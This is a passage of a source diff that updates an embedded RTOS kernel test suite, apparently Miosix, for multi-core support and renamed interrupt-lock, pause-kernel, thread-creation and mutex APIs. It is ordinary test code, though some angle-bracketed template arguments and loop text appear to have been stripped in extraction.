- Thread::yield();//Give time to the second thread to terminate - #else //SCHED_TYPE_EDF - Thread::sleep(15); - #endif //SCHED_TYPE_EDF + Thread::yield(); + #if defined(WITH_SMP) && !defined(WITH_THREAD_AFFINITY) + Thread::sleep(5); + #endif //defined(WITH_SMP) && !defined(WITH_THREAD_AFFINITY) //If the thread doesn't exist, it can't modify t1_v1, and exist() must //return false for(int i=0;i<10;i++) //testing 10 times { t1_v1=false; - #ifndef SCHED_TYPE_EDF Thread::yield();//run t1_p1 Thread::yield();//Double yield to be extra sure. - #else //SCHED_TYPE_EDF - Thread::sleep(15); - #endif //SCHED_TYPE_EDF if(t1_v1==true) fail("thread not deleted"); - if(Thread::exists(p)==true) fail("Thread::exists (2)"); + if(threadExists(p)==true) fail("Thread::exists (2)"); } + #if defined(WITH_SMP) && defined(WITH_THREAD_AFFINITY) + Thread::getCurrentThread()->setAffinity(unrestrictedAffinityMask); + #endif //defined(WITH_SMP) && defined(WITH_THREAD_AFFINITY) } static void test_1() { test_name("thread creation/deletion"); + CHECK_AVAIL_HEAP(EST_THREAD_HEAP_USAGE(STACK_SMALL)*3); //Testing getStackBottom() const unsigned int *y=Thread::getStackBottom(); - + + Thread::setPriority(DEFAULT_PRIORITY); if(*y!=STACK_FILL) fail("getStackBottom() (1)"); y--;//Now should point to last word of watermark if(*y!=WATERMARK_FILL) fail("getStackBottom() (2)"); //Testing thread termination - Thread *p=Thread::create(t1_p1,STACK_SMALL,0,NULL); + Thread *p=Thread::create(t1_p1,STACK_SMALL,DEFAULT_PRIORITY,nullptr,Thread::DETACHED); t1_f1(p); + Thread::setPriority(0); //Testing argv passing - p=Thread::create(t1_p3,STACK_SMALL,0,reinterpret_cast(0xdeadbeef)); + p=Thread::create(t1_p3,STACK_SMALL,0,reinterpret_cast(0xdeadbeef),Thread::DETACHED); Thread::sleep(5); - if(Thread::exists(p)) fail("thread not deleted (2)"); + if(threadExists(p)) fail("thread not deleted (2)"); pass(); } @@ -380,7 +426,7 @@ static Thread *t2_p_v1; static void t2_p1(void *argv) { - //This is to fix a race condition: the immediately after the thread + //This is to fix a race condition: if immediately after the thread //creation a yield occurs, t2_p_v1 is not yet assigned so the check fails Thread::sleep(5); for(;;) @@ -388,60 +434,57 @@ static void t2_p1(void *argv) if(Thread::testTerminate()) break; if(Thread::getCurrentThread()!=t2_p_v1) fail("Thread::getCurrentThread()"); - t2_v1=true; - #ifdef SCHED_TYPE_EDF - Thread::sleep(5); - #endif //SCHED_TYPE_EDF + { + PauseKernelLock lock; + t2_v1=true; + } } } static void t2_p2(void *argv) { - #ifdef SCHED_TYPE_EDF - do { - Thread::getCurrentThread()->wait(); - Thread::sleep(20); + while(Thread::testTerminate()==false) + { + #if defined(WITH_SMP) && !defined(WITH_THREAD_AFFINITY) + PauseKernelLock pk; + #endif //defined(WITH_SMP) && !defined(WITH_THREAD_AFFINITY) t2_v1=true; - } while(!Thread::testTerminate()); - #else - while(Thread::testTerminate()==false) t2_v1=true; - #endif + } } static void test_2() { test_name("pause/restart kernel"); - t2_p_v1=Thread::create(t2_p1,STACK_SMALL,0,NULL,Thread::JOINABLE); - pauseKernel();// - t2_v1=false; - //If the kernel is stopped, t2_v1 must not be updated - for(int i=0;i<10;i++) + Thread::setPriority(DEFAULT_PRIORITY); //In case the scheduler is EDF + t2_p_v1=Thread::create(t2_p1,STACK_SMALL,DEFAULT_PRIORITY); { - delayMs(20); - if(t2_v1==true) { restartKernel(); fail("pauseKernel"); } + PauseKernelLock lock; + t2_v1=false; + //If the kernel is stopped, t2_v1 must not be updated + for(int i=0;i<10;i++) + { + delayMs(20); + if(t2_v1==true) { PauseKernelUnlock unlock(lock); fail("pauseKernel"); } + } } - restartKernel();// //If the kernel is started, t2_v1 must be updated for(int i=0;i<10;i++) { t2_v1=false; - #ifndef SCHED_TYPE_EDF delayMs(20); - #else //SCHED_TYPE_EDF - Thread::sleep(15); - #endif //SCHED_TYPE_EDF if(t2_v1==false) fail("restartKernel"); } t2_p_v1->terminate(); t2_p_v1->join(); - - t2_p_v1=Thread::create(t2_p2,STACK_SMALL,0,NULL,Thread::JOINABLE); + + t2_p_v1=Thread::create(t2_p2,STACK_SMALL,DEFAULT_PRIORITY); + #if defined(WITH_SMP) && defined(WITH_THREAD_AFFINITY) + Thread::getCurrentThread()->setAffinity(1); //Only core 0 + t2_p_v1->setAffinity(1); //Only core 0 + #endif //defined(WITH_SMP) && defined(WITH_THREAD_AFFINITY) for(int i=0;i<5;i++) { bool failed=false; - #ifdef SCHED_TYPE_EDF - t2_p_v1->wakeup(); - #endif { PauseKernelLock pk; t2_v1=false; @@ -455,10 +498,11 @@ static void test_2() if(failed) fail("pauseKernel"); } t2_p_v1->terminate(); - #ifdef SCHED_TYPE_EDF - t2_p_v1->wakeup(); - #endif t2_p_v1->join(); + Thread::setPriority(0); //Restore priority + #if defined(WITH_SMP) && defined(WITH_THREAD_AFFINITY) + Thread::getCurrentThread()->setAffinity(unrestrictedAffinityMask); + #endif //defined(WITH_SMP) && defined(WITH_THREAD_AFFINITY) pass(); } @@ -509,18 +553,27 @@ static void t3_p2(void *argv) static void test_3() { test_name("time and sleep"); + CHECK_AVAIL_HEAP(EST_THREAD_HEAP_USAGE(STACK_SMALL)*3); long long delta; { - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; auto start=IRQgetTime(); delayUs(MAX_TIME_IRQ_DISABLED); delta=IRQgetTime()-start; } - iprintf("%lld\n",delta); - //10% tolerance - auto m=MAX_TIME_IRQ_DISABLED*1000; - if(delta<(m-m/10) || delta>(m+m/10)) fail("getTime and delayUs don't agree"); - Thread *p=Thread::create(t3_p1,STACK_SMALL,0,NULL,Thread::JOINABLE); + fiprintf(stderr,"%lld ",delta); + const auto m=MAX_TIME_IRQ_DISABLED*1000; + const auto lowThres=m-m/10; //10% tolerance + #if defined(_CHIP_RP2040) && defined(WITH_SMP) && !defined(WITH_SLEEP) + // Edge case. The RP2040 is dual-core with no per-core instruction cache. If + // the kernel is compiled without sleep support, the idle thread running on + // one core slows down the other core by ~29%, making delayUs take longer + const auto hiThres=m+m/3; //33% tolerance + #else + const auto hiThres=m+m/10; //10% tolerance + #endif + if(deltahiThres) fail("getTime and delayUs don't agree"); + Thread *p=Thread::create(t3_p1,STACK_SMALL,0,nullptr,Thread::JOINABLE); for(int i=0;i<4;i++) { //The other thread is running time test @@ -530,7 +583,7 @@ static void test_3() p->join(); //Testing Thread::sleep() again t3_v2=false; - p=Thread::create(t3_p2,STACK_SMALL,0,NULL,Thread::JOINABLE); + p=Thread::create(t3_p2,STACK_SMALL,0,nullptr,Thread::JOINABLE); if(!p) fail("thread creation (1)"); //t3_p2 sleeps for 15ms, then sets t3_v2. We sleep for 20ms so t3_v2 should //be true @@ -547,7 +600,7 @@ static void test_3() t3_v2=false; //Creating another instance of t3_p2 to check what happens when 3 threads //are sleeping - Thread *p2=Thread::create(t3_p2,STACK_SMALL,0,NULL,Thread::JOINABLE); + Thread *p2=Thread::create(t3_p2,STACK_SMALL,0,nullptr,Thread::JOINABLE); if(!p2) fail("thread creation (2)"); //p will wake @ t=45, main will wake @ t=47 and p2 @ t=50ms //this will test proper sorting of sleeping_list in the kernel @@ -557,19 +610,19 @@ static void test_3() t3_deleted=false; p->terminate(); p->join(); - if(Thread::exists(p)) fail("multiple instances (1)"); + if(threadExists(p)) fail("multiple instances (1)"); if(t3_deleted==false) fail("multiple instances (2)"); t3_deleted=false; p2->terminate(); p2->join(); - if(Thread::exists(p2)) fail("multiple instances (3)"); + if(threadExists(p2)) fail("multiple instances (3)"); if(t3_deleted==false) fail("multiple instances (4)"); //Testing Thread::nanoSleepUntil() long long time; const int period=10000000;//10ms { - InterruptDisableLock lock; //Making these two operations atomic. + GlobalIrqLock lock; //Making these two operations atomic. time=IRQgetTime(); time+=period; } @@ -589,10 +642,8 @@ static void test_3() // /* tests: -disableInterrupts -enableInterrupts -fastDisableInterrupts -fastEnableInterrupts +GlobalIrqLock +FastGlobalIrqLock Thread::getPriority Thread::setPriority Thread::IRQgetCurrentThread @@ -606,7 +657,12 @@ static void t4_p1(void *argv) for(;;) { if(Thread::testTerminate()) break; - t4_v1=true; + { + #if defined(WITH_SMP) && !defined(WITH_THREAD_AFFINITY) + GlobalIrqLock lock; + #endif //defined(WITH_SMP) && !defined(WITH_THREAD_AFFINITY) + t4_v1=true; + } #ifdef SCHED_TYPE_EDF Thread::sleep(5); #endif //SCHED_TYPE_EDF @@ -631,28 +687,38 @@ static void t4_p2(void *argv) } #endif //SCHED_TYPE_EDF +void t4_p3(void*) +{ + while(!Thread::testTerminate()) ; +} + static void test_4() { - test_name("disableInterrupts and priority"); - Thread *p=Thread::create(t4_p1,STACK_SMALL,0,NULL); + test_name("globalIrqLock and priority"); + Thread *p=Thread::create(t4_p1,STACK_SMALL,0,nullptr,Thread::DETACHED); + #if defined(WITH_SMP) && defined(WITH_THREAD_AFFINITY) + Thread::getCurrentThread()->setAffinity(1); //Only core 0 + p->setAffinity(1); //Only core 0 + #endif //defined(WITH_SMP) && defined(WITH_THREAD_AFFINITY) //Check getPriority() if(p->getPriority()!=0) fail("getPriority (0)"); //Check that getCurrentThread() and IRQgetCurrentThread() return the //same value Thread *q=Thread::getCurrentThread(); - disableInterrupts();// - if(q!=Thread::IRQgetCurrentThread()) fail("IRQgetCurrentThread"); - //Check IRQgetPriority - if(p->IRQgetPriority()!=0) fail("IRQgetPriority"); - //Check that t4_v1 is not updated - t4_v1=false; - delayUs(MAX_TIME_IRQ_DISABLED); - if(t4_v1) { - enableInterrupts();// - fail("disableInterrupts"); + GlobalIrqLock lock; + if(q!=Thread::IRQgetCurrentThread()) fail("IRQgetCurrentThread"); + //Check IRQgetPriority + if(p->IRQgetPriority()!=0) fail("IRQgetPriority"); + //Check that t4_v1 is not updated + t4_v1=false; + delayUs(MAX_TIME_IRQ_DISABLED); + if(t4_v1) + { + GlobalIrqUnlock unlock(lock); + fail("globalIrqLock"); + } } - enableInterrupts();// #ifndef SCHED_TYPE_EDF Thread::yield(); #else //SCHED_TYPE_EDF @@ -661,16 +727,16 @@ static void test_4() //Should not happen, since already tested if(t4_v1==false) fail("variable not updated"); - fastDisableInterrupts();// + FastGlobalIrqLock::lock();// //Check that t4_v1 is not updated t4_v1=false; delayUs(MAX_TIME_IRQ_DISABLED); if(t4_v1) { - fastEnableInterrupts();// - fail("disableInterrupts"); + FastGlobalIrqLock::unlock();// + fail("globalIrqLock"); } - fastEnableInterrupts();// + FastGlobalIrqLock::unlock();// #ifndef SCHED_TYPE_EDF Thread::yield(); #else //SCHED_TYPE_EDF @@ -679,6 +745,10 @@ static void test_4() //Should not happen, since already tested if(t4_v1==false) fail("variable not updated"); + #if defined(WITH_SMP) && defined(WITH_THREAD_AFFINITY) + Thread::getCurrentThread()->setAffinity(unrestrictedAffinityMask); + #endif //defined(WITH_SMP) && defined(WITH_THREAD_AFFINITY) + //Checking get_priority if(Thread::getCurrentThread()->getPriority()!=0) fail("getPriority (1)"); @@ -687,12 +757,29 @@ static void test_4() if(Thread::getCurrentThread()->getPriority()!=1) fail("setPriority (0)"); #if !defined(SCHED_TYPE_CONTROL_BASED) && !defined(SCHED_TYPE_EDF) - //Since priority is higher, the other thread must not run - //Of course this is not true for the control based scheduler + //On multi-core CPUs we need as many high priority threads as cores + Thread *other[CPU_NUM_CORES-1]; + for(int i=0;iterminate(); + other[i]->join(); + } #endif //SCHED_TYPE_CONTROL_BASED //Restoring original priority Thread::setPriority(0); @@ -701,7 +788,7 @@ static void test_4() p->terminate(); Thread::sleep(10); #ifdef SCHED_TYPE_EDF - Thread::create(t4_p2,STACK_SMALL); + Thread::create(t4_p2,STACK_SMALL,DEFAULT_PRIORITY,nullptr,Thread::DETACHED); const int period=50000000;//ms long long time=getTime(); //This takes .024/.05=48% of CPU time @@ -725,12 +812,13 @@ static void test_4() tests: Thread::wait Thread::wakeup -Thread::IRQwait +Thread::IRQglobalIrqUnlockAndWait Thread::IRQwakeup */ static volatile bool t5_v1; -static volatile bool t5_v2;//False=testing Thread::wait() else Thread::IRQwait() +//False=testing Thread::wait() else Thread::IRQglobalIrqUnlockAndWait() +static volatile bool t5_v2; static void t5_p1(void *argv) { @@ -740,20 +828,18 @@ static void t5_p1(void *argv) t5_v1=true; if(t5_v2) Thread::wait(); else { - disableInterrupts(); - Thread::IRQwait(); - enableInterrupts(); - Thread::yield(); + GlobalIrqLock dLock; + Thread::IRQglobalIrqUnlockAndWait(dLock); } } } static void test_5() { - test_name("wait, wakeup, IRQwait, IRQwakeup"); + test_name("wait, wakeup, IRQglobalIrqUnlockAndWait, IRQwakeup"); t5_v2=false;//Testing wait t5_v1=false; - Thread *p=Thread::create(t5_p1,STACK_SMALL,0,NULL); + Thread *p=Thread::create(t5_p1,STACK_SMALL,0,nullptr,Thread::DETACHED); //Should not happen, since already tested Thread::sleep(5); if(t5_v1==false) fail("variable not updated"); @@ -766,7 +852,7 @@ static void test_5() if(t5_v1==true) fail("Thread::wait"); } t5_v1=false; - t5_v2=true;//Test IRQwait() + t5_v2=true;//Test IRQglobalIrqUnlockAndWait() p->wakeup(); //Now that is still running, must update the variable Thread::sleep(5); @@ -776,12 +862,13 @@ static void test_5() for(i=0;i<4;i++) { Thread::sleep(100); - if(t5_v1==true) fail("Thread::IRQwait"); + if(t5_v1==true) fail("Thread::IRQglobalIrqUnlockAndWait"); + } + { + GlobalIrqLock lock; + p->IRQwakeup(); + t5_v1=false; } - disableInterrupts(); - p->IRQwakeup(); - t5_v1=false; - enableInterrupts(); //Now that is still running, must update the variable Thread::sleep(5); if(t5_v1==false) fail("Thread::IRQwakeup"); @@ -818,7 +905,7 @@ Priority priorityAdapter(int x) class Sequence { - public: +public: Sequence() { s[0]='\0'; @@ -842,7 +929,7 @@ class Sequence s[0]='\0'; } - private: +private: char s[4]; }; @@ -999,8 +1086,8 @@ static void t6_p6a(void *argv) } } -static Mutex t6_m5(Mutex::RECURSIVE); -static FastMutex t6_m5a(FastMutex::RECURSIVE); +static Mutex t6_m5(MutexOptions::RECURSIVE); +static FastMutex t6_m5a(MutexOptions::RECURSIVE); static void *t6_p7(void *argv) { @@ -1011,7 +1098,7 @@ static void *t6_p7(void *argv) bool checkIft6_m5IsLocked() { - Thread *t=Thread::create(t6_p7,STACK_SMALL,0,0,Thread::JOINABLE); + Thread *t=Thread::create(t6_p7,STACK_SMALL,0,nullptr,Thread::JOINABLE); void *result; t->join(&result); return reinterpret_cast(result)==0 ? false : true; @@ -1026,30 +1113,73 @@ static void *t6_p7a(void *argv) bool checkIft6_m5aIsLocked() { - Thread *t=Thread::create(t6_p7a,STACK_SMALL,0,0,Thread::JOINABLE); + Thread *t=Thread::create(t6_p7a,STACK_SMALL,0,nullptr,Thread::JOINABLE); void *result; t->join(&result); return reinterpret_cast(result)==0 ? false : true; } +#ifdef SCHED_TYPE_EDF +//With the EDF scheduler, lower deadline means higher priority +static inline long long patchPrio(long long p) { return 4-p; } +#else //SCHED_TYPE_EDF +static inline Priority patchPrio(Priority p) { return p; } +#endif //SCHED_TYPE_EDF + +void t6_tp3(void*) +{ + Thread::setPriority(patchPrio(3)); + t6_m3.lock(); + Thread::sleep(60); + //This is the main check of this part of the test, a thread has priority 3 + //and is should not be downgraded when t6_tp2 locks t6_m4 + if(Thread::getCurrentThread()->getPriority()!=patchPrio(3)) fail("inheritance 1"); + t6_m3.unlock(); + if(Thread::getCurrentThread()->getPriority()!=patchPrio(3)) fail("inheritance"); +} + +void t6_tp1(void*) +{ + Thread::setPriority(patchPrio(1)); + t6_m4.lock(); + Thread::sleep(20); + t6_m3.lock(); + if(Thread::getCurrentThread()->getPriority()!=patchPrio(2)) fail("inheritance"); + t6_m3.unlock(); + if(Thread::getCurrentThread()->getPriority()!=patchPrio(2)) fail("inheritance"); + t6_m4.unlock(); + if(Thread::getCurrentThread()->getPriority()!=patchPrio(1)) fail("inheritance"); +} + +void t6_tp2(void*) +{ + Thread::setPriority(patchPrio(2)); + Thread::sleep(40); + t6_m4.lock(); + if(Thread::getCurrentThread()->getPriority()!=patchPrio(2)) fail("inheritance"); + t6_m4.unlock(); + if(Thread::getCurrentThread()->getPriority()!=patchPrio(2)) fail("inheritance"); +} + static void test_6() { test_name("Mutex class"); + CHECK_AVAIL_HEAP(EST_THREAD_HEAP_USAGE(STACK_SMALL)*5); #ifdef SCHED_TYPE_EDF Thread::setPriority(priorityAdapter(0)); #endif //SCHED_TYPE_EDF seq.clear(); #ifndef SCHED_TYPE_CONTROL_BASED //Create first thread - if (!Thread::create(t6_p1,STACK_SMALL,priorityAdapter(0),NULL)) + if (!Thread::create(t6_p1,STACK_SMALL,priorityAdapter(0),nullptr,Thread::DETACHED)) fail("thread creation (1)"); Thread::sleep(20); //Create second thread - if (!Thread::create(t6_p2,STACK_SMALL,priorityAdapter(1),NULL)) + if (!Thread::create(t6_p2,STACK_SMALL,priorityAdapter(1),nullptr,Thread::DETACHED)) fail("thread creation (2)"); Thread::sleep(20); //Create third thread - if (!Thread::create(t6_p3,STACK_SMALL,priorityAdapter(2),NULL)) + if (!Thread::create(t6_p3,STACK_SMALL,priorityAdapter(2),nullptr,Thread::DETACHED)) fail("thread creation (3)"); Thread::sleep(20); t6_m1.lock(); @@ -1079,22 +1209,18 @@ static void test_6() // //This thread will hold the lock until we terminate it - Thread *t=Thread::create(t6_p4,STACK_SMALL,0); - Thread::yield(); + Thread *t=Thread::create(t6_p4,STACK_SMALL,0,nullptr,Thread::JOINABLE); + //Leave time for the other thread to lock the mutex + Thread::sleep(1); if(t6_m1.tryLock()==true) fail("Mutex::tryLock() (1)"); Thread::sleep(10); if(t6_m1.tryLock()==true) fail("Mutex::tryLock() (2)"); t->terminate(); - #ifndef SCHED_TYPE_EDF - Thread::yield(); - Thread::yield();//Ensuring the other thread is deleted - #else //SCHED_TYPE_EDF - Thread::sleep(15); - #endif //SCHED_TYPE_EDF + t->join(); if(t6_m1.tryLock()==false) fail("Mutex::tryLock() (3)"); t6_m1.unlock(); t6_v1=false; - Thread *t2=Thread::create(t6_p5,STACK_SMALL,1); + Thread *t2=Thread::create(t6_p5,STACK_SMALL,1,nullptr,Thread::DETACHED); Thread::sleep(30); if(t6_v1==false) fail("Thread not created"); { @@ -1107,6 +1233,8 @@ static void test_6() if(t6_v1==false) fail("Lock (2)"); t2->terminate(); Thread::sleep(10); + // TODO: no priority inheritance for control-based scheduler + #ifndef SCHED_TYPE_CONTROL_BASED // // Testing full priority inheritance algorithm // @@ -1166,8 +1294,7 @@ static void test_6() } if(Thread::getCurrentThread()->getPriority()!=priorityAdapter(1)) fail("priority inheritance (14)"); - //Restore original priority - Thread::setPriority(0); + Thread::setPriority(0); //Restore original priority if(Thread::getCurrentThread()->getPriority()!=0) fail("priority inheritance (14)"); t->join(); @@ -1176,6 +1303,16 @@ static void test_6() t4->join(); Thread::sleep(10); // + // Testing priority inheritance doesn't downgrade a thread priority + // + Thread *a=Thread::create(t6_tp3,STACK_SMALL,0,nullptr,Thread::JOINABLE); + Thread *b=Thread::create(t6_tp1,STACK_SMALL,0,nullptr,Thread::JOINABLE); + Thread *c=Thread::create(t6_tp2,STACK_SMALL,0,nullptr,Thread::JOINABLE); + a->join(); + b->join(); + c->join(); + #endif // SCHED_TYPE_CONTROL_BASED + // // Testing recursive mutexes // { @@ -1185,23 +1322,23 @@ static void test_6() { Lock l(t6_m5); t=Thread::create(t6_p6,STACK_SMALL,0,reinterpret_cast( - &t6_m5)); + &t6_m5),Thread::DETACHED); Thread::sleep(10); //If thread does not exist it means it has locked the mutex //even if we locked it first - if(Thread::exists(t)==false) fail("recursive mutex (1)"); + if(threadExists(t)==false) fail("recursive mutex (1)"); } Thread::sleep(10); //If thread does not exist the mutex was unlocked too early - if(Thread::exists(t)==false) fail("recursive mutex (2)"); + if(threadExists(t)==false) fail("recursive mutex (2)"); } Thread::sleep(10); //If thread does not exist the mutex was unlocked too early - if(Thread::exists(t)==false) fail("recursive mutex (3)"); + if(threadExists(t)==false) fail("recursive mutex (3)"); } Thread::sleep(10); //If thread exists the mutex was not unlocked - if(Thread::exists(t)==true) fail("recursive mutex (4)"); + if(threadExists(t)==true) fail("recursive mutex (4)"); //Checking if tryLock on recursive mutex returns true when called by the //thread that already owns the lock @@ -1227,40 +1364,50 @@ static void test_6() // // Testing FastMutex // - + //We can't have a priority higher than other threads (important with EDF) + Thread::setPriority(priorityAdapter(0)); seq.clear(); //Create first thread - Thread::create(t6_p1a,STACK_SMALL,priorityAdapter(0),NULL); + Thread::create(t6_p1a,STACK_SMALL,priorityAdapter(0),nullptr,Thread::DETACHED); Thread::sleep(20); //Create second thread - Thread::create(t6_p2a,STACK_SMALL,priorityAdapter(1),NULL); + Thread::create(t6_p2a,STACK_SMALL,priorityAdapter(1),nullptr,Thread::DETACHED); Thread::sleep(20); //Create third thread - Thread::create(t6_p3a,STACK_SMALL,priorityAdapter(2),NULL); + Thread::create(t6_p3a,STACK_SMALL,priorityAdapter(2),nullptr,Thread::DETACHED); Thread::sleep(20); t6_m1a.lock(); /* Now there will be 4 threads on the Mutex, the first one, with priority 0, waiting 100ms the second with priority 1, the third with priority 2 and the - fourth (this) with priority 0. Given that FastMutex does not implement - priority inheritance, they will lock the mutex in fifo order. + fourth (this) with priority 0. FastMutex does not implement priority + inheritance but in Miosix 3 still wakes threads in priority order. + On the other hand with the control-based scheduler the threads wake up in + FIFO order as in Miosix 2. */ - if(strcmp(seq.read(),"123")!=0) + #ifndef SCHED_TYPE_CONTROL_BASED + if(strcmp(seq.read(),"132")!=0) // priority order + #else // SCHED_TYPE_CONTROL_BASED + if(strcmp(seq.read(),"123")!=0) // FIFO order + #endif { //iprintf("%s\n",seq.read()); fail("incorrect sequence a"); } t6_m1a.unlock(); + Thread::setPriority(0); //Restore original priority Thread::sleep(350);//Ensure all threads are deleted // // Testing tryLock // //This thread will hold the lock until we terminate it - t=Thread::create(t6_p4a,STACK_SMALL,0); + t=Thread::create(t6_p4a,STACK_SMALL,0,nullptr,Thread::DETACHED); + #ifndef SCHED_TYPE_EDF Thread::yield(); if(t6_m1a.tryLock()==true) fail("Mutex::tryLock() (1a)"); + #endif //SCHED_TYPE_EDF Thread::sleep(10); if(t6_m1a.tryLock()==true) fail("Mutex::tryLock() (2a)"); t->terminate(); @@ -1273,7 +1420,7 @@ static void test_6() if(t6_m1a.tryLock()==false) fail("Mutex::tryLock() (3a)"); t6_m1a.unlock(); t6_v1=false; - t2=Thread::create(t6_p5a,STACK_SMALL,1); + t2=Thread::create(t6_p5a,STACK_SMALL,1,nullptr,Thread::DETACHED); Thread::sleep(30); if(t6_v1==false) fail("Thread not created"); { @@ -1297,23 +1444,23 @@ static void test_6() { Lock l(t6_m5a); t=Thread::create(t6_p6a,STACK_SMALL,0,reinterpret_cast( - &t6_m5a)); + &t6_m5a),Thread::DETACHED); Thread::sleep(10); //If thread does not exist it means it has locked the mutex //even if we locked it first - if(Thread::exists(t)==false) fail("recursive mutex (1)"); + if(threadExists(t)==false) fail("recursive mutex (1)"); } Thread::sleep(10); //If thread does not exist the mutex was unlocked too early - if(Thread::exists(t)==false) fail("recursive mutex (2)"); + if(threadExists(t)==false) fail("recursive mutex (2)"); } Thread::sleep(10); //If thread does not exist the mutex was unlocked too early - if(Thread::exists(t)==false) fail("recursive mutex (3)"); + if(threadExists(t)==false) fail("recursive mutex (3)"); } Thread::sleep(10); //If thread exists the mutex was not unlocked - if(Thread::exists(t)==true) fail("recursive mutex (4)"); + if(threadExists(t)==true) fail("recursive mutex (4)"); //Checking if tryLock on recursive mutex returns true when called by the //thread that already owns the lock @@ -1420,7 +1567,7 @@ static void test_8() //Test queue between threads t8_q1.reset(); t8_q2.reset(); - Thread *p=Thread::create(t8_p1,STACK_SMALL,0,NULL); + Thread *p=Thread::create(t8_p1,STACK_SMALL,0,nullptr,Thread::DETACHED); int i,j; char write='A', read='A'; for(i=1;i<=8;i++) @@ -1444,7 +1591,7 @@ static void test_8() write='A'; read='A'; { - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; for(j=0;j<8;j++) { t8_q1.IRQputBlocking(write,dLock); @@ -1465,7 +1612,7 @@ static void test_8() read='A'; for(j=0;j<8;j++) { - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; t8_q1.IRQput(write); write++; if(t8_q2.isEmpty()==false) fail("Unexpected"); @@ -1488,7 +1635,7 @@ static void test_8() // /* tests: -isKernelRunning() +isKernelPaused() areInterruptsEnabled() */ @@ -1499,90 +1646,104 @@ void t9_p1(void*) for(;;) { if(Thread::testTerminate()) break; - t9_v1=true; - #ifdef SCHED_TYPE_EDF - Thread::sleep(1); - #endif //SCHED_TYPE_EDF + { + #if defined(WITH_SMP) && !defined(WITH_THREAD_AFFINITY) + GlobalIrqLock lock; + #endif //defined(WITH_SMP) && !defined(WITH_THREAD_AFFINITY) + t9_v1=true; + } } } static void test_9() { - test_name("isKernelRunning and save/restore interrupts"); + test_name("isKernelPaused and save/restore interrupts"); //Testing kernel_running with nested pause_kernel() - Thread *p=Thread::create(t9_p1,STACK_SMALL,0,NULL,Thread::JOINABLE); - if(isKernelRunning()==false) fail("isKernelRunning() (1)"); - pauseKernel();//1 - if(isKernelRunning()==true) - { - restartKernel(); - fail("isKernelRunning() (2)"); - } - pauseKernel();//2 - if(isKernelRunning()==true) - { - restartKernel(); - restartKernel(); - fail("isKernelRunning() (3)"); - } - restartKernel();//2 - if(isKernelRunning()==true) - { - restartKernel(); - fail("isKernelRunning() (4)"); + Thread::setPriority(DEFAULT_PRIORITY); //In case the scheduler is EDF + Thread *p=Thread::create(t9_p1,STACK_SMALL,DEFAULT_PRIORITY); + #if defined(WITH_SMP) && defined(WITH_THREAD_AFFINITY) + Thread::getCurrentThread()->setAffinity(1); //Only core 0 + p->setAffinity(1); //Only core 0 + #endif //defined(WITH_SMP) && defined(WITH_THREAD_AFFINITY) + if(isKernelPaused()==true) fail("isKernelPaused() (1)"); + { + PauseKernelLock lock;//1 + if(isKernelPaused()==false) + { + PauseKernelUnlock unlock(lock); + fail("isKernelPaused() (2)"); + } + { + PauseKernelLock lock;//2 + if(isKernelPaused()==false) + { + PauseKernelUnlock unlock(lock);// unlocks all levels + fail("isKernelPaused() (3)"); + } + } + if(isKernelPaused()==false) + { + PauseKernelUnlock unlock(lock); + fail("isKernelPaused() (4)"); + } } - restartKernel();//1 - if(isKernelRunning()==false) fail("isKernelRunning() (5)"); - //Testing nesting of disableInterrupts() + if(isKernelPaused()==true) fail("isKernelPaused() (5)"); + //Testing nesting of globalIrqLock() if(areInterruptsEnabled()==false) fail("areInterruptsEnabled() (1)"); - disableInterrupts();//Now interrupts should be disabled - t9_v1=false; - delayUs(MAX_TIME_IRQ_DISABLED/3); - if(t9_v1) - { - enableInterrupts(); - fail("disableInterrups() nesting (1)"); - } - if(areInterruptsEnabled()==true) - { - enableInterrupts(); - fail("areInterruptsEnabled() (2)"); - } - disableInterrupts();//Interrupts already disabled - delayUs(MAX_TIME_IRQ_DISABLED/3); - if(t9_v1) - { - enableInterrupts(); - enableInterrupts(); - fail("disableInterrups() nesting (2)"); - } - if(areInterruptsEnabled()==true) - { - enableInterrupts(); - enableInterrupts(); - fail("areInterruptsEnabled() (3)"); - } - enableInterrupts();//Now interrupts should remain disabled - delayUs(MAX_TIME_IRQ_DISABLED/3); - if(t9_v1) { - enableInterrupts(); - fail("enableInterrupts() nesting (1)"); - } - if(areInterruptsEnabled()==true) - { - enableInterrupts(); - fail("areInterruptsEnabled() (4)"); + GlobalIrqLock lock;//This should disable interrupts + t9_v1=false; + delayUs(MAX_TIME_IRQ_DISABLED/3); + if(t9_v1) + { + GlobalIrqUnlock unlock(lock); + fail("globalIrqLock() nesting (1)"); + } + if(areInterruptsEnabled()==true) + { + GlobalIrqUnlock unlock(lock); + fail("areInterruptsEnabled() (2)"); + } + { + GlobalIrqLock lock;//Interrupts already disabled + delayUs(MAX_TIME_IRQ_DISABLED/3); + if(t9_v1) + { + GlobalIrqUnlock unlock(lock);//This unlocks all nesting levels + fail("globalIrqLock() nesting (2)"); + } + if(areInterruptsEnabled()==true) + { + GlobalIrqUnlock unlock(lock);//This unlocks all nesting levels + fail("areInterruptsEnabled() (3)"); + } + } + //Interrupts should still be disabled + delayUs(MAX_TIME_IRQ_DISABLED/3); + if(t9_v1) + { + GlobalIrqUnlock unlock(lock);//This unlocks all nesting levels + fail("globalIrqUnlock() nesting (1)"); + } + if(areInterruptsEnabled()==true) + { + GlobalIrqUnlock unlock(lock);//This unlocks all nesting levels + fail("areInterruptsEnabled() (4)"); + } } - enableInterrupts();//Now interrupts should be enabled + //Now interrupts should be enabled delayMs(10); if(t9_v1==false) { - fail("enableInterrupts() nesting (2)"); + fail("globalIrqUnlock() nesting (2)"); } if(areInterruptsEnabled()==false) fail("areInterruptsEnabled() (5)"); p->terminate(); p->join(); + Thread::setPriority(0); //Restore priority + #if defined(WITH_SMP) && defined(WITH_THREAD_AFFINITY) + Thread::getCurrentThread()->setAffinity(unrestrictedAffinityMask); + #endif //defined(WITH_SMP) && defined(WITH_THREAD_AFFINITY) pass(); } @@ -1619,12 +1780,12 @@ void t10_p1(void *argv) void test_10() { test_name("Exception handling"); - Thread *t=Thread::create(t10_p1,1024+512,0,NULL); + Thread *t=Thread::create(t10_p1,1024+512,0,nullptr,Thread::DETACHED); //This sleep needs to be long enough to let the other thread print the //"An exception propagated ..." string on the serial port, otherwise the //test fails because the other thread still exists because it is printing. Thread::sleep(100); - if(Thread::exists(t)) fail("Thread not deleted"); + if(threadExists(t)) fail("Thread not deleted"); pass(); } #endif //__NO_EXCEPTIONS @@ -1667,7 +1828,7 